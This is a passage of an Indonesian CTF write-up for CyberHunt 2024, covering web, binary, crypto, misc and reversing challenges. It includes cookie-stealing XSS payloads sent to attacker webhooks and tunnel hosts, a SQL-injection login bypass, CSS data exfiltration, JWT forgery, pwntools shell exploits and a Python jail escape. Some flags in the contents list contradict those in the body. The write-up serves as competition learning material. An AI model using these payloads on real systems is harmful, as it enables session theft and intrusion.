N2LHaRD_Write_Up_Cyber_Hunt24

Write Up CyberHunt 2024

N2L - HaRD

Newton’s second law

Daniel

Hafidz

Caleb

Daftar Isi

Web Exploitation 6

simple curl 6

Flag: CYHUNT24{YmFieV9zaW1wbDNfZzBfY3VybA} 7

simple curl medium 7

Flag: CYHUNT24{m3dium_ezz_br0} 7

starboy or starling? 7

Flag: CYHUNT24{str1ng_b3fore_us1ng_sw1tch_in_PHP} 8

JWT 8

Flag: CYHUNT24{Udah_daftar_Technofair_belum??} 8

Bread 8

Flag: CYHUNT24{COOKIES_COOKIES_ENAKK-TAUU_HEHEHE} 8

Agent Rahasia 8

Flag: CYHUNT24{zzpatnam_eheh} 8

Val and Key 9

Flag: CYHUNT24{K3rja_B49us} 9

GerAld 9

Flag: CYHUNT24{kerenn_kamu_mendapatkan_flag_nya} 9

Javat (The Comeback Of Jawat) 10

Flag: CYHUNT24{w0w_j4g0_k4l1_4nd4_spr1ng_exploit} 10

ConDupload 11

Flag:CYHUNT{3z_b4s1c_xss_f0r_y0u} 12

ConnectDuo 13

Flag: CYHUNT{g00d_j0b_h4x0r_ch41n1n9_m0r3_4nd_m0r3} 15

XCRIP’ss 16

Flag: CYHUNT24{m4k4s1h_ud4h_s0lv3d_4ll_ch4ll} 18

Binary Exploitation 19

ash 19

Flag: CYHUNT24{w1nn1ng_4_sh3ll_y34?} 20

trip 20

Flag: CYHUNT24{n1c3_tr1p_0f_l1bc_1snt_1t} 21

punktion 21

Flag: CYHUNT24{4z_r3t_h3h3h3_n1c3_c4tch} 22

Cryptography 23

ber berr bernyanyi bernyanyi 23

Flag: CYHUNT24{1100_1011_1110_1111} 24

easy decode 24

Flag: CYHUNT24{just_decode_bradah} 26

rail fense 26

Flag: CYHUNT24{just_for_wsrmup_beiB} 27

ikan mati 27

Flag: CYHUNT24{m4sih_P3m4nas4n_uNtuk_y4ng_BeLom_P4nas} 28

aRC4de 29

Flag: CYHUNT24{1Ts_b4d_t0_u53_th3_s4me_keY} 29

Secret Message 30

Flag: CYHUNT24{EASY_CHALL_CRYPTO} 31

ezz warmup 31

Flag: CYHUNT24{k4mu_s3puh_bett_yah} 32

Rivest Shamir Adleman 32

Flag: CYHUNT24{3ncryp710n_x0r_w17h_5h4_512_n07_s3cur3_1_h0p3_y0u_ain7_d0_m4nu4lly} 32

kembalikan fotoku 33

Flag: CYHUNT24{d0Nt_sH4R3_mY_iM4g3} 34

RSA 34

Flag: CYHUNT24{CHALL_RSA_WAJIB-ADA} 36

Misc 36

find me 37

Flag: CYHUNT24{nice_tandanya_matamu_sehat} 38

behind the email 39

Flag: CYHUNT24{cum4_g1ni_4ja_gak_us4h_b1ngung} 40

World Based 41

Flag: CYHUNT24{Ban9_udah_Ban99} 42

Cari MD5 Hash 42

Flag: CYHUNT24{Md5hash_f1le_itu_Koenji} 43

Jahil 43

Flag: CYHUNT24{pyJa!l_br3AkPoinT_bu1ltIn_xPlo!t} 44

ZipZig 45

Flag: CYHUNT24{g1t_1s_wh4t_1t_t4k3s} 47

Benjamin Angel 47

Flag: CYHUNT24{3ncryp710n_x0r_w17h_5h4_512_n07_s3cur3_1_h0p3_y0u_ain7_d0_m4nu4lly} 48

Reverse Engineering 49

Tebak password 49

Flag: CYHUNT24{juST_R3aD_IT} 49

ular aneh 50

Flag: CYHUNT24{tHIS_Is_Pyth0N_In_dISAS} 51

static 51

Flag: CYHUNT24{D0_yoU_kN0w_wh4tiS_St4tic_m34N} 52

Regoal 52

Flag: CYHUNT24{} 52

Gogen 53

Flag: CYHUNT24{w4s_s0_3z_f0r_g0l4ng} 54

Digital Forensic 55

barang bukti 55

Flag: CYHUNT24{6350386314} 55

kena heck 56

Flag: CYHUNT24{usb_my_fav_St0rage} 56

Flagstorage 56

Lookin’ for Secrets 57

Flag: CYHUNT24{appd4ta_c4ch3data_235wefs35} 58

tebak aku 58

Flag: CYHUNT24{tetap_ilmu_padi_abangku} 58

IMG 58

Flag: CYHUNT24{masih_pemanasan_iniii} 59

Steg 59

Flag: CYHUNT24{masih_easy-lahh_yaaa} 59

bit/bit 59

Flag: CYHUNT24{1n_god_w3_trust} 60

rumah makan on day monday 60

Flag: CYHUNT24{CYHUNT24{m1s1_suks3s_k4mu_c1n4_as33l111}} 60

Child’s Play 60

Flag: CYHUNT24{br0ken_h3x_i5_EasY} 60

Huh Its Me Again 61

Flag: CYHUNT24{t3mpl4t3_d4ng3r0us_s3r10usly} 61

ayo maen bola 62

Flag: CYHUNT24{T0pP_SLUR} 63

Osint 64

no feedback 64

Flag: CYHUNT24{86554} 65

citylight 66

Flag: CYHUNT24{X9X4+69} 68

Koko Doko? 68

Flag: CYHUNT24{-6.454,106.672} 69

old pict 69

Flag: CYHUNT24{hehehe_congrats////} 70

masalalu 71

Flag: CYHUNT24{23_09_2011} 72

searchengine 72

Flag: CYHUNT24{3h_ketemu_d1sini} 73

Ingris Berduka 74

Flag: CYHUNT24{10665} 75

Destinasi 76

Flag: CYHUNT24{Obelix_Sea_View} 77

OSIG 78

Flag: CYHUNT24{EASY_CHALL_OSINT} 78

[CyberHunt 2024]


Welcome Chall

Overview

Free flag dari CyberHunt 2024.

Flag : CYHUNT24{WELCOME_CYBER_HUNT2024}

[Web Exploitation]


simple curl

Overview

Diberikan source code beserta service pada url http://cyberhunt.my.id:8080/

Attachment

Simple.zip

Code Review

Source code berisi kode program dalam bahasa pemrograman Golang (Go). Melalui analisis kami, kami menemukan beberapa kode penting, salah satunya adalah pengecekan request URL.

func redirectChecker(req *http.Request, via []*http.Request) error {

reqIp := strings.Split(via[len(via)-1].Host, ":")[0]

if len(via) >= 2 || reqIp != "127.0.0.1" {

return errors.New("Something wrong")

}

return nil

}

karena mirip dengan Cake CTF 2022 jadi kami pakai saja cara mereka untuk mendapatkan flagnya dengan cara

Flag: CYHUNT24{YmFieV9zaW1wbDNfZzBfY3VybA}

simple curl medium

karena mirip dengan Cake CTF 2022 seperti tadi jadi kami pakai saja cara mereka untuk mendapatkan flagnya dengan cara

Flag: CYHUNT24{m3dium_ezz_br0}

starboy or starling?

terdapat wu yg mirip pada soal ini yakni

https://blog.hamayanhamayan.com/entry/2022/09/04/150554#web-CakeGEAR

tinggal login pakai body ini

{"username":true,"password":true}

Flag: CYHUNT24{str1ng_b3fore_us1ng_sw1tch_in_PHP}

JWT

kita tinggal edit roles nya jadi admin dah kelar di cookienya yang bagian body jwt nya

Flag: CYHUNT24{Udah_daftar_Technofair_belum??}

Bread

kita dpt link replit, kita buka aja lgsg trs ke /flag.txt

https://5e8745bc-534c-498f-baf4-a1af117324c9-00-1k2ltb2e8vmpn.sisko.replit.dev/flag.txt

Flag: CYHUNT24{COOKIES_COOKIES_ENAKK-TAUU_HEHEHE}

Agent Rahasia

kita tinggal set agentnya jadi cyberspecters dan dpt flagnya btw flagnya ni dibaca terbalik isinya

curl https://ctf.teknokrat.ac.id/chall/cyberhunt/agent.php -H "User-Agent: cyberspecters"

CYHUNT24{zzpatnam_eheh}%

dan di reverse teks

Flag: CYHUNT24{hehe_mantapzz}

Val and Key

kita tinggal set header val dan key nya sesuai deskripsi

mintaflag=cyberspecters

curl https://ctf.teknokrat.ac.id/chall/cyberhunt/header.php -H "Cookie: X-Header-key=mintaflag;X-Header-val=cyberspecters"

CYHUNT24{K3rja_B49us}%

Flag: CYHUNT24{K3rja_B49us}

GerAld

sama kayak yg replit tadi kita buka pakai /flag.txt

https://1122a2a4-af20-447c-a1a7-bb85290d8a08-00-1snfmebwkm5i0.pike.replit.dev/flag.txt

Flag: CYHUNT24{kerenn_kamu_mendapatkan_flag_nya}

Javat (The Comeback Of Jawat)

disini menggunakan spring dan juga jwt, lgsg saya search spring exploit dan ketemu weak ECDSA signature https://www.linkedin.com/pulse/elliptic-curve-digital-signature-algorithm-flaw-mohammed-janbar

lgsg kita modif payload body jwt nya dan ubah bagian terakhir menjadi MAYCAQACAQA

eyJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJndWVzdCJ9.yjfvUuPdmyMqPJRt-c71fVluOXR2K_iddRN8FQ9BEybJOkbeCH7OpBwUZb-LlF9uBWZnTaPAi_xSzUt77nrhLA

jadi

eyJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.MAYCAQACAQA

Flag: CYHUNT24{w0w_j4g0_k4l1_4nd4_spr1ng_exploit}

ConDupload

disini ada terdapat kerentanan yakni xss pada rendering second page pdf ( dan pastekan xss nya tadi ke /logger untuk grab cookie admin )

lgsg aja pakai solver saya

import httpx

import fpdf

URL = "http://103.191.63.185:49047"

PDFNAME = "exploit.pdf"

WEBHOOK = "https://{{webhooklu}}"

class BaseAPI:

def __init__(self, url=URL) -> None:

self.c = httpx.Client(base_url=url)

def sendpdf(self,namefilepdf) -> str:

data = {"file":open(namefilepdf,'rb')}

return self.c.post("/upload", files=data).json()["file_path"]

def triggeradmin(self,uid):

return self.c.get(f'/logger',params={

"url":f"{URL}/view/{uid}"

}).text

class API(BaseAPI):

def createPayloadPDF(self,payload,fileoutputname):

self.filename = fileoutputname

self.pdf = fpdf.FPDF(format='letter')

self.pdf.add_page()

self.pdf.set_font("Arial", size=12)

self.pdf.cell(200, 10, txt="your text", ln=1, align="L")

self.pdf.add_page()

self.pdf.cell(200, 10, txt=payload, ln=1, align="L")

self.pdf.output(self.filename)

if __name__ == "__main__":

api = API()

api.createPayloadPDF(f"""

<script>

fetch('{WEBHOOK}?c='+document.cookie)

</script>""",PDFNAME)

path = api.sendpdf(PDFNAME).replace("uploads/", "")

print(api.triggeradmin(path))

Flag:CYHUNT{3z_b4s1c_xss_f0r_y0u}

ConnectDuo

disini terdapat 2 kerentanan yakni xss universal path yakni /bootstrap.js ( karna gapake / jadi bs dirender dimanapun kalao kita set <base tag ) dan 1 lagi yaitu lfi read cmdline

untuk caranya kita tinggal host bootstrap.js di local kita dan tunneling menggunakan apapun yg kalian mau disini saya pakai playit. ini untuk isi bootstrap.js nya

yaitu mengirim cookie di requestcatcher

selanjutnya kita host file ini bs menggunakan simple server python dan juga ngrok

dan lgsg saja kita taruh payload

<base href="http://kids-penn.gl.at.ply.gg:45858">

dan kita taruh di /logger jadi full payloadnya

http://103.191.63.185:8837/logger?url=http://103.191.63.185:8837/msg?payload=<base href="http://kids-penn.gl.at.ply.gg:45858">

dan cek webhook kita

terdapat cookieadmin. lgsg kita eskalasi ke lfi

dapet nama flag nya. lgsg kita get

Flag: CYHUNT{g00d_j0b_h4x0r_ch41n1n9_m0r3_4nd_m0r3}

XCRIP’ss

Disini kami harus melakukan xs-leak, namun ada beberapa rules pada csp.

csp = { 'default-src': ['none'], \

'style-src': ['*'], \

'img-src': ['*'], \

}

Kami sudah jelas tidak bisa melakukan XSS karena default-src none, namun kami bisa memanfaatkan style-src yang nantinya kami bisa pakai css selector buat nge match flag di attribute value h2 satu per satu.

Di login ada sqli tapi username kami harus broskiereallythink_he_is_admin_lol biar bisa request ke /logger dan di password harus ada string t rootp dan length nya harus 57 setelah nyoba nyoba semua payload akhirnya kami dapet payload kaya gini.

username = "broskiereallythink_he_is_admin_lol"

password = "t rootp' union select 1,2,3 -- aaaaaaaaaaaaaaaaaaaaaaaaaa"

karena ini xs leak untuk solver nya kita buat 2 script yang pertama solver.py dan server.py.

solver.py

import requests

import http.server

import sys

import string

URL = "http://103.191.63.185:8337"

URL_SERVER = sys.argv[1]

admin_request = requests.Session()

admin_request.post(URL + "/login", data={

"username": "broskiereallythink_he_is_admin_lol",

"password": "t rootp' union select 1,2,3 -- aaaaaaaaaaaaaaaaaaaaaaaaaa"

})

for count in range(100):

response = admin_request.get(

f"{URL}/logger?url={URL}/dash?usr=<link rel='stylesheet' href='{URL_SERVER}/{count}.css'>"

)

server.py

from flask import Flask

import string

HOST = "10.10.0.1" # ip public vps

PORT = 8000

FLAG = ""

app = Flask(__name__)

@app.route("/<flag>", methods=["GET"])

def index(flag):

global FLAG

FLAG = flag

return flag

@app.route("/<int:count>.css", methods=["GET"])

def css(count):

global FLAG

payload = ""

for char in string.ascii_letters + string.digits + "_{}":

payload += f'h2[value^="{FLAG}{char}"]{{background: url("http://{HOST}:{PORT}/{FLAG}{char}"), auto}}'

return payload, 200, {"Content-Type": "text/css"}

if __name__ == "__main__":

app.run(host=HOST, port=PORT, debug=True)

Setelah penantian panjang buat dapetin flag akhirnya kita dapet flagnya CYHUNT24{m4k4s1h_ud4h_s0lv3d_4ll_ch4ll}

Flag: CYHUNT24{m4k4s1h_ud4h_s0lv3d_4ll_ch4ll}

Binary Exploitation

ash

basically kita cmn perlu write shellcode dan leak address saja dan ini solvernya

#!/usr/bin/env python3

# -*- coding: utf-8 -*-

from pwn import *

context.terminal = ["kitty", "@launch", "--cwd=current", "--location=vsplit"]

exe = context.binary = ELF(args.EXE or 'chall2')

host = args.HOST or '103.191.63.185'

port = int(args.PORT or 9999)

def start_local(argv=[], *a, **kw):

'''Execute the target binary locally'''

if args.GDB:

return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)

else:

return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):

'''Connect to the process on the remote host'''

io = connect(host, port)

if args.GDB:

gdb.attach(io, gdbscript=gdbscript)

return io

def start(argv=[], *a, **kw):

# '''Start the exploit against the target.'''

# if args.LOCAL:

# return start_local(argv, *a, **kw)

# else:

return start_remote(argv, *a, **kw)

gdbscript = '''

tbreak vuln

continue

'''.format(**locals())

# -- Exploit goes here --

io = start()

io.send(cyclic(0x40))

io.recvuntil(cyclic(0x40))

buf = u64(io.recv(6) + b"\0\0") - 336

log.info(f"buffer @ 0x{buf:x}")

shellcode = asm(shellcraft.sh())

offset = 328

io.sendline(flat({0: shellcode, offset: buf}))

io.interactive()

Flag: CYHUNT24{w1nn1ng_4_sh3ll_y34?}

trip

ropgadget ret2libc dengan memanfaatkan got.setbuf untuk ngeleak address dari libc

#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall")

libc = ELF("./libc.so.6")

ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe

if args.REMOTE:

r = remote("103.191.63.185", 13377)

else:

r = process([exe.path])

if args.GDB:

gdb.attach(r)

rop1 = ROP(exe, badchars=b'')

rop1.puts()

rop1.main()

log.info(rop1.dump())

r.sendlineafter(b'sus?', b'A' * 56 + p64(exe.got.setbuf) + b'B' * 8 + rop1.chain())

libc.address = int.from_bytes(r.recvline(keepends=False), 'little') - libc.symbols.setbuf

log.info(f'{hex(libc.address)=}')

rop2 = ROP([exe, libc], badchars=b'')

rop2.execve(next(libc.search(b'/bin/sh\0')), 0, 0)

log.info(rop2.dump())

r.sendlineafter(b'sus?', b'A' * 72 + rop2.chain())

r.interactive()

Flag: CYHUNT24{n1c3_tr1p_0f_l1bc_1snt_1t}

punktion

leak canary menggunakan printf leak dan return to function win ( _punk_uns )

#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall")

context.binary = exe

if args.REMOTE:

r = remote("103.191.63.185", 9993)

else:

r = process([exe.path])

if args.GDB:

gdb.attach(r)

r.sendlineafter(b'what grade are u?', b'A' * (0x48 - 3) + b"i'm")

r.recvuntil(b'hi ')

canary = u64(b'\0' + r.recv(7))

log.info(f'{hex(canary)=}')

pl = b'A' * 0x48

pl += p64(canary)

pl += b'B' * 8

pl += p64(exe.symbols._punk_uns)

r.sendlineafter(b'SMA', pl)

r.sendline(b'bye')

r.interactive()

Flag: CYHUNT24{4z_r3t_h3h3h3_n1c3_c4tch}

Cryptography

ber berr bernyanyi bernyanyi

diberikan file berupa zip yang jika di ekstrak menghasilkan 4 foto dari chord gitar dan karena saya tidak bisa bermain gitar jadi saya mencari chord tersebut di google

okee dari foto tersebut diketahui bahwa chord dari foto foto tersebut ialah cbef, karena di hint disuru menggunakan binary jadi kita rubah menjadi binary, akan menjadi seperti berikut 01100011 01100010 01100101 01100110 setelah mencoba submit kita menemukan bahwa flagnya adalah

Flag: CYHUNT24{1100_1011_1110_1111}

easy decode

diberikan file chall.txt yang berisikan file jsfuck

lalu kita coba run jsfuck di sini

mendapatkan hasil tersebut, kelihatannya base64 jadi

setelah itu, hasil dari decode an nya berupa ascii jadi tinggal diubah ke ascii sajaa

Flag: CYHUNT24{just_decode_bradah}

rail fense

Diberikan sebuah Plaintext, dan berdasarkan judul adalah sebuah rail fence cipher. Kami pun melakukan decrypt di https://www.dcode.fr/rail-fence-cipher.

Flag: CYHUNT24{just_for_wsrmup_beiB}

ikan mati

Berdasarkan, nama challnya, kami langsung terpikirkan pada Deadfish Language. Kami pun men-decode isi dari chall.txt di https://www.dcode.fr/deadfish-language.

Setelah di decode, terlihat outputnya adalah sebuah decimal, kami pun mengubahnya ke text di Cyberchef.

Flag: CYHUNT24{m4sih_P3m4nas4n_uNtuk_y4ng_BeLom_P4nas}

aRC4de

Dengan melihat nama soal dapat disimpulkan hint atau soal menggunakan bahasa RC4, jadi mari kita lihat isi dari chall.txt

Terlihat bahwa ada bilangan desimal, mari kita eksekusi

Nilai hex yang dimiliki melati di buat untuk KEY dan nilai hex mawar untuk ciphertext terakhir nilai dari drop bytes adalah 2, dan menemukan flagnya

Flag: CYHUNT24{1Ts_b4d_t0_u53_th3_s4me_keY}

Secret Message

Soal ini memberikan sebuah chall.txt yang berisi pesan rahasia yang menggunakan bahasa asing

Dengan itu saya analis menggunakan dcode

Terlihat ada beberapa bahasa yang mengidentifikasi pesan tersebut menggunakan bahasa apa saja. Di sini saya mencoba semuanya dan saya menemukan bahasa base 64 di vigenere

Dengan KEY nya saya mengam sumsikannya adalah β€œcyberspecters”, setelah menemukan base64 langsung saja eksekusi

Flag: CYHUNT24{EASY_CHALL_CRYPTO}

ezz warmup

beaufort cipher -> base64 -> save file to image

https://www.boxentriq.com/code-breaking/beaufort-cipher

Flag: CYHUNT24{k4mu_s3puh_bett_yah}

Rivest Shamir Adleman

from pwn import *

from math import isqrt

from Crypto.Util.number import inverse

def solve(C, N, L):

poss = []

mlim = 2**20

for x in range(1, mlim):

a = x

b = L-N-x**2

c = x*N

d = b**2-4*a*c

if (d < 0):

continue

qform = (-b + isqrt(d))//(2*a)

p = N//qform

if ((p-x)*(qform-x) == L):

poss.append((qform))

break

p, q = poss[0], N//poss[0]

phi = (p-1)*(q-1)

e = 65537

d = inverse(e, phi)

decrypted = pow(C, d, N)

return decrypted

# Call the function with the given values

c = 482141814293590197502811474932029460661002532026573389658314180817247220459567499644958813997954118165812805842379533342289685282342190878463555770319306702212371338421308577197808075733262746698915443870285704975713938187354245306882018603981861096910392565923449771474244846133935858183892442399384530396818463948228866440593529120035856503573645835417661055033375809617574668281810192642128039857794375578196515576016282697213146284137358859161967849203722347022670851942110328128090220811544954105609007156939589338442749349192205490919357312671666371523730743353967110958600501669921250066538273401682291394345855460667419963405890047662195424411646413051239913962784724603414614295672619281243619974099998284023569416931872380118826378415952641962074347822268988907665410162093893191294976542657310550364750171962183438541560667737058713130139687475959700180617174146124271080565029179919134970482251352276610620942172891344884427239369811412269931877319732705001157215137568954175594638966910255750482059458912720602745097824142949013286464493638164353122838573908807596997028438262020669411601445790668381313964905487504298277380439317740327368087769300728419726732791363279157290655787601257794628395101155639644842341699135

n = 528436262580846762901857325732232736166648872939103083309075323048587144665954366777770148670341638915508142465585694148586624262254279715845025884663224007901604258112098741924026794890723351011365114928314766612423088250135432651223560612140330927943276397565467670534462207869414259529142429718464416773512359946991571592204492141250666736784231663247562147233712076630210133179093152151398423048305060473935185962540742726006346865417521629615431055243138663866994101573889476423432510959941832587087755700047074410076555077651720048033601793183807447694510380286157468177852775857722889745254569773294028743199581982618427539635114018387999459427096585596693094766887196412186777166762256300898635951447124132990564023307970180232108839523620932245689560214004901167211276865443187285178973208030606403570904348286971729129443319014922388783953027047306977514434942111024688334842204849639082723659326322942197554172703594382622361330415889304337481105006710674314832429392048823309376897392093291814544752178756331313933326274918397555806383966827938477797887626322295583067419678526170502751051815999547491346475838775493379963575950945383094288905785578862781590155292357993465257441076750559390702777793879920773923360505729

dont_leak_this = 528436262580846762901857325732232736166648872939103083309075323048587144665954366777770148670341638915508142465585694148586624262254279715845025884663224007901604258112098741924026794890723351011365114928314766612423088250135432651223560612140330927943276397565467670534462207869414259529142429718464416773512359946991571592204492141250666736784231663247562147233712076630210133179093152151398423048305060473935185962540742726006346865417521629615431055243138663866994101573889476423432510959941832587087755700047074410076555077651720048033601793183807447694510380286157468177852775857722889745254569773294028714802587756819617526310246486562249308878287369930281829317109892460612723293059038039377951279889185229047320642775074454514818408542100144672509117014404047926851555589041911378576323871490499216596863639711990956042881047663425365554770338969149632362156926749689032941662498470212439140672375430670960299764832213587813403640167633921698621055954011608605679143972873686998704229434426363359898491268123599344516156578500620032253510315791194134471452469574313538124525100206752789188994952941057690705690718223779232894758631999316421367042043555780702270494361128263524494859425138025952452591616585550294890683685104

print(solve(c, n, dont_leak_this))

Flag: CYHUNT24{just_a_simple_algebra_am_i_right?}

kembalikan fotoku

Gambar flag di split dijadikan chunk dengan length 5 yang di jadikan long dan dienkripsi pakai XOR yang key nya random. Kami bisa pakai 5 byte pertama dari header png kemudian XOR dengan hasil enkripsi pertama buat dapetin key, setelah itu tinggal deksripsi semua chunk.

from Crypto.Util.number import bytes_to_long, long_to_bytes

import string

png = "89 50 4E 47 0D 0A 1A 0A"

png_long = bytes_to_long(bytes.fromhex(''.join(png.split()))[:5])

chip = eval(open('enc', 'r').read())

key = chip[0] ^ png_long

print("Key :", key)

png = b""

for i in chip:

decrypted = long_to_bytes(i ^ key).rjust(5, b'\0')

png += decrypted

open('self_solv.png', 'wb').write(png)

dan kami dapat flag CYHUNT24{d0Nt_sH4R3_mY_iM4g3}.

Flag: CYHUNT24{d0Nt_sH4R3_mY_iM4g3}

RSA

calculate p pake gcd dp dan p2q

Crypto/RSA

from Crypto.Util.number import long_to_bytes, inverse

from math import gcd

# Given values

ciphertext = 6679751571680153009963904682331184917652002856700102310232283862142510059360180548700458831963141409609920551415092207709728225180286265998724528164577674542248721526251187945599585717178191437930160757806807093902793807235144537860942319684760999843630442651226130860002909404140653471185313647715181302304167348924688037557405954539411557457882044330160211329312062720746325861916622922820920104281967898138703453429045946889126965213138749635812159404760369795951532507412006588445870437729196704275485530658165559396122865023696853894261433203860671549068300198104293392003636061195320565520679305383883882898704604559634890784729197249080759946890339250163066886325287412173193725229601090022511506412230800802290674678253497769900141951607190755458800862513784646884224494722467907534558045716790058316430899730082488292110364545682645526449625284655084352824888655261021276231604789263073577754238178023201953270541398611484040131436716568377922478723737147991263070279633895970368806063613324760527575876314365886699695723894144649502485701910377316805704678920436308732783312047975198912094727120936436700875408590797953864331729040548975810138259062653692644739165742002068121098949542299582433914931491801296451377581006636483

dp = 171432559101471989605646948356373748103604947361256607378340448850139917017741253759903745507057919262287422186222940360213785420605757333138847887731767022598405608474995330651947849082078370449736651288592860283221797983119927725117149200774804739974975582585523359416946408144385855153221559461347298824391132395892996924625640872166698317735741877365806943143135835009957625457973450121352962604530814817655901697483088999524541499291037003678660130712141021632221794174249924834077632177968501757212722623350575181797794958244328870841294336463187222306714995492272643611646928249482017303542563647469595369211254712548098832095540995311841074627538151877339371487927806145948905672833767915852929856220973560840386125633752412480320584458935038302142751449534187398925662384466751897711549687947862910839873293128396014847384039868091701077519788860107065614981153691686685326821058865631742737041863375989903668129520572806351954019608985002225703602063443485842326068527683024332639834458331067102353325840535706456324422275754723563198715550407175182648240718090477435547945193732546635158601952418224352960525259751828810794856217898929112965219114783525262615310830832190730442349789460621438028345913017708361465523133564202266062786788681281757147027464002581040633319572450555353324321699056478024157129773151732670142844483164508432539498373947180375305585469627835596667356476511772733667404728958877380598398949024045379136292741643874960237432332704625052528856617384339450570121280954511126937150643703664520808218298441310306024377957237049720519185727832578500913286023909348162473989113812550805225552724830261887490591714039944400527976071373184209831845969062119462403725052459177546892619818022391873329229206364783314296446725486658518678734803325482151370648102682365593547647791628684309371655283249776091365996509876023788183283

p2q = 213170963396891562143729893832305593956284174845169799407158675577110705655852548100992539024685605819040523438354858977086250927051314265096682933654811030453120355993278986527591427479217724393594363257765113070515263721083971223242626072880720581419978650145288765887646651182214510751858103451633012485610884049514075314470934936707881750297833515167875716398286561408739074084796622722760821747711526623749451276879787567817851745356924240775796394772442579161577074751879657031608875439664580204201692487743603940603018464632550634822614684162563342914622534096899198261578687727659671151167232592054166999563570889708448262394605837628857811991515889971291433914715772638211960415936759778304390577548067679510456479994850801235456371216662187652015317755739895815495111283612397090640609867328889881660712528196291865436926052849406375373713408563964846026093263911701059393127967976555276551426913678840649401811190075325584784349447556418171890714076070692905482708888254009586154239227598710507703178655793348942676198573019759816326439893896477510901166547609616895842071430538232916809944394150298378345872103063301628330221653850388439443364638019538570767613777320343878189983973545330874737453400095937886979792088374986323520843348511102325586784495504624319448813796476293969903137538257355998338779733642119548481876998281481405692762331628893501531291329441495308243568019180766627407280078643666235573172278294075588442969374279359865601439488703565838942636582392466277488366374194890249687124242483769387553299912110196370951410060473480026800086484176574417759880104620851539589554039438701036794016648069808210636519140497455612086833766213769594997981459162235532307853956081579590271809503536822605626989725511498994042990581546736877584625171747601769972545109503616616296913370130968957785947869343438375248167319517552596218503

e = 65537

# Step 1: Compute p using gcd

p = gcd(dp, p2q)

# Step 2: Derive q from n and p

q = p2q // (p * p)

n = p * q

# Validate the computed q

assert p * q == n, "p and q do not multiply to n"

# Step 3: Compute phi and the private key d

phi = (p - 1) * (q - 1)

d = inverse(e, phi)

# Step 4: Decrypt the ciphertext

decrypted_flag = pow(ciphertext, d, n)

# Convert the decrypted flag back to bytes

decrypted_flag_bytes = long_to_bytes(decrypted_flag)

# Print the decrypted flag

print(decrypted_flag_bytes)

Flag: CYHUNT24{CHALL_RSA_WAJIB-ADA}

Misc

find me

Diberikan sebuah gif yang isinya beberapa gambar random

Setelah kami lihat dengan lebih cermat, terdapat sebuah gambar yang terdapat QR code.

Kami pun melakukan scan pada QR tersebut dengan google lens.

Flag: CYHUNT24{nice_tandanya_matamu_sehat}

behind the email

Kami pun menjalankan command strings untuk melihat isinya.

Terlihat sebuah base64 text, kami pun langsung decode.

Hasil decode tadi ternyata sebuah link google docs.

Kami pun mencoba untuk melihat history editnya.

Flag: CYHUNT24{cum4_g1ni_4ja_gak_us4h_b1ngung}

World Based

Diberikan sebuah text base64 yang sangat panjang. Nampaknya ini di encode dengan base64 berkali kali sehingga menghasilkan ciphertext yang sangat panjang. Untuk penyelesaiannya, kami gunakan cara manual, yaitu decode 1 persatu di cyberchef, namun cukup mudah dengan cara copy paste berulang ulang.

Flag: CYHUNT24{Ban9_udah_Ban99}

Cari MD5 Hash

Diberikan sebuah file zip yang ketika si ekstrak mengeluarkan banyak file .txt.

Kami pun mencoba untuk melakukan strings ke semua file .txt tersebut.

Flag: CYHUNT24{Md5hash_f1le_itu_Koenji}

Jahil

Berikut yang di blacklist.

β€˜+breakpoint()+’

import os

os.system(β€˜cat fl*’)

Flag: CYHUNT24{pyJa!l_br3AkPoinT_bu1ltIn_xPlo!t}

ZipZig

Diberikan file zip yang ketika di unzip akan menjadi seperti berikut

setelah itu, setelah kami melihat lihat ternyata ada file yang aneh bernama .git, yang sebenarnya itu adalah folder untuk menyimpan informasi project seperti commit, alamat repo dan lain lain tapi kok filenya berupa zip?

oke mari kita coba untuk mengekstrak nya, biar tidak campur campur kita buat folder baru.

okee kita sudah ektrak lalu memasukkannya pada folder solve. setelah itu kita tinggal liat lognya ini merubah apa saja.

kami sudah mencoba untuk git log dan grep tidak menemukan apa apa setelah itu saya mencoba untuk git show satu” ternyata menemukannya di awal dengan commit message β€œmodifikasi”

Flag: CYHUNT24{g1t_1s_wh4t_1t_t4k3s}

Benjamin Angel

refferensi : https://github.com/Minto312/CTF/blob/144c1440a2eba1f5a3789552e37f05475b90ca12/TJCTF-2024/crypto/accountleak/server_copy.py#L13

kita brute dgn comparasion new valuenya yg dr servernya

from pwn import *

from hashlib import sha512

r = remote('103.191.63.185', 31337)

def H(m):

return sha512(m).digest()

def xor(a, b):

return bytes([i ^ j for i, j in zip(a, b)])

def sign(m):

r.recvuntil(":> ")

r.sendline(m)

hash = r.recvline().decode().strip("").split(": ")[1]

print(hash)

return hash

def main():

zpreimage = b'\x00'

zhash = H(zpreimage).hex()

flag = ""

to_send = b''

while True:

for i in range(32, 129):

temp = to_send + i.to_bytes(1, 'big')

print("Sending: ", temp)

temp2 = sign(temp)

if temp2 == zhash:

flag += chr(i)

print("Found!", flag)

to_send = flag.encode()

zpreimage += b'\x00'

zhash = H(zpreimage).hex()

break

else:

print("nope")

if __name__ == '__main__':

main()

Flag: CYHUNT24{3ncryp710n_x0r_w17h_5h4_512_n07_s3cur3_1_h0p3_y0u_ain7_d0_m4nu4lly}

Reverse Engineering

Tebak password

Diberikan file ELF64 Executable, langsung saja kami membuka ida64.

Dan flagnya berhasil kami dapatkan.

Flag: CYHUNT24{juST_R3aD_IT}

ular aneh

basically kita bisa gpt dan convert ke py

flag = [

134, 178, 144, 170, 156, 168, 100, 104, 246, 232, 144, 146, 166, 190, 146,

230, 190, 160, 242, 232, 208, 96, 156, 190, 146, 220, 190, 200, 146, 166,

130, 166, 250

]

def dec():

dec = ''

for i in flag:

decrypt = chr(i >> 1)

dec += decrypt

return dec

# Example usage

decrypted_message = dec()

print(decrypted_message)

Flag: CYHUNT24{tHIS_Is_Pyth0N_In_dISAS}

static

secret di xor dengan 0x99.

langsung aja di decode.

Flag: CYHUNT24{D0_yoU_kN0w_wh4tiS_St4tic_m34N}

Regoal

Pakai wireshark ada request dan useragent nya itu flagnya tinggal decode aja.

Setelah didecode.

Flag: CYHUNT24{g00d_j0b_w4rm_4p}

Gogen

